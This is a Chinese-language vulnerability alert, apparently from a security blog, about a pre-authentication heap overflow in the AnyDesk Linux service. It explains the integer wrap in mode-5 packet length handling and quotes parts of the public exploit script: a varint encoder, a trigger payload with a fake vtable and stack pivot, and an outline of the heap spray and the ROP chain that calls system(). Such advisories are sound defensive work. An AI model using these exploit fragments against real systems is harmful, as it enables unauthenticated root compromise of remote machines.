2026-10-16 13:46:39 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

【漏洞预警】AnyDesk Linux存在堆缓冲区溢出漏洞(POC已公开)

YGnight
YGnight

night安全

2026年10月14日 09:01
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一、漏洞描述

AnyDesk 是装机量很大的远程桌面工具，Linux 版在系统里以服务方式常驻。

这个服务默认跑在 root 权限下，同时在 TCP 7070 上收连接。

8.0.3 之前的版本里，会话协议处理 mode-5 流数据包的地方留了个口子。

远端在包里携带的一个长度值被直接拿去用，核对排在了后面。

结果是入口落在 AnyDesk 自己的服务上。发起方不需要任何账号，也不需要桌面那一侧点头同意共享屏幕。

CVE 编号为 CVE-2026-109390，MITRE 在 2026 年 10 月 12 日发布了这条记录。

归类 CWE-130。CVSS 3.1 打分 9.8，向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，评分方同为 MITRE。

NVD 上这条记录目前还是 Received 状态，尚未给出自己的评分。

CISA 的 SSVC 记录给了三项取值，利用成熟度 poc，自动化可行性 yes，技术影响 total。

受影响区间按 NVD 记录是 8.0.0 起、8.0.3 之前，平台 Linux。

公开利用代码的实测对象是 8.0.2，运行环境 Linux x86\_64，服务以 service 模式启动。

该构建的二进制 SHA-256 为 62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a。

8.0.1 是否带同一处问题，公开材料只提到可能存在相同的代码，没有实测结论。

厂商早在同年 6 月就已经推送了 8.0.3，公开利用代码直到 10 月 8 日才放出。

公开情报里暂无已观测到的在野利用记录。


CVE 编号	CVE-2026-109390
漏洞类型	堆缓冲区溢出，CWE-130，长度参数处理不一致
影响组件	AnyDesk Linux 会话协议的 mode-5 流数据包处理逻辑
受影响版本	NVD 记录 8.0.0 起至 8.0.3 之前，平台 Linux；公开利用实测 8.0.2
修复版本	8.0.3
触发前提	TCP 7070 网络可达，AnyDesk 以服务模式常驻
利用条件	无需认证，无需用户交互，无需对方同意桌面控制
危害面	以服务进程权限执行任意命令，Linux 下该进程通常为 root
CVSS	9.8，CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，评分来源 MITRE
在野利用	公开情报中暂无已观测到的在野利用记录

二、漏洞原理

握手结束之后，服务端给这条连接分配一个流 id，后续的数据包都挂在它上面。

流上的 mode-5 包共五段。

// mode-5 数据包在已分配流上的布局
u16be frame\_len 整个帧的字节数
u16be stream\_id 握手时服务端分配的流 id
u8 mode\_prefix 固定 0x00
varint declared\_len 本包声明的载荷长度
u8[] body 实际跟过来的数据

// 32 位加法在这一步进位被丢掉
0xfffffff0 + 0x10 = 0x1\_0000\_0000
保留低 32 位 = 0x00000000

声明值走的是变长整数编码，7 位一格，公开脚本里这段是自己实现的。

// exploit/anydesk\_proto/frames.py
def encode\_varint(value):
out = bytearray()
while True:
byte = value & 0x7F
value >>= 7
if value:
out.append(byte | 0x80)
else:
out.append(byte)
return bytes(out)

def build\_mode5\_payload(payload):
return encode\_varint(len(payload)) + payload

0xfffffff0 用这种编码只占五个字节，外面那层帧可以小到几十字节。攻击者不用真发四个 G，数字写进去就够了。

下面这段按公开描述还原，不是厂商源码，也没有在本机执行。

// 按公开描述还原的处理流程
declared = read\_varint(p) // 0xfffffff0，未与帧剩余长度比对
alloc\_sz = declared + 0x10 // 32 位加法，进位丢弃
obj = malloc(alloc\_sz) // 拿到 0 字节
obj->data = (char \*)obj + 0x10 // 数据区仍按 16 字节头后移
obj->len = declared // 逻辑长度保留原值
memcpy(obj->data, body, body\_len) // 写入越过堆块边界

0xfffffff0 到 0xffffffff 这一段声明值都能触发，算出来的分配大小落在 0 到 15 字节。

对象这边留着原本那个巨大的长度，指针照旧从分配起点往后挪 16 字节，多出来的部分写到了别人头上。

触发包本身很短，脚本里只拼了一个几十字节的对象。

// exploit/anypwn.py
MODE5\_TRIGGER\_DECLARED\_LEN = 0xFFFF\_FFF0

mode5\_prefix = encode\_varint(MODE5\_TRIGGER\_DECLARED\_LEN)
body = (
b\"C\" \* 0x10
+ p64(offsets[\"target\_vtable\"])
+ p64(0xFF)
+ p64(0)
+ p64(0xD001)
+ p64(offsets[\"stack\_pivot\"])
)
payload = STREAM\_MODE\_PREFIX + mode5\_prefix + body
frame = build\_stream\_payload(stream\_id, payload)
client.send\_raw(frame)

前面那 16 个 C 用来填满对象头，后面四个值依次是虚函数表指针、引用计数、零值和一个 0xD001 标记，最后那个是栈迁移跳板。

这些地址连同 vtable 与各条 gadget 写死在脚本开头的字典里，全部取自 8.0.2 这一个构建。

溢出要有用，前提是某个受害者对象正好挨着那块被算小的内存。

脚本先把分配器的常见尺寸铺满，从 1 字节到 0x17f1 字节，每 16 字节一档，每档发 100 个对象，之后再另开十条连接放候选受害者。

后面的 ROP 部分解决落点问题。同样一份对象连发二十份，每份前面是一长串 ret 指令地址，中间才是真正的调用链。

调用链本身做的事不复杂，命令字符串按 8 字节一组写进固定地址，地址放进第一个参数，跳去执行 system。

这是一趟概率活。内存布局没凑上的时候，服务进程会直接崩掉，命令不会跑起来。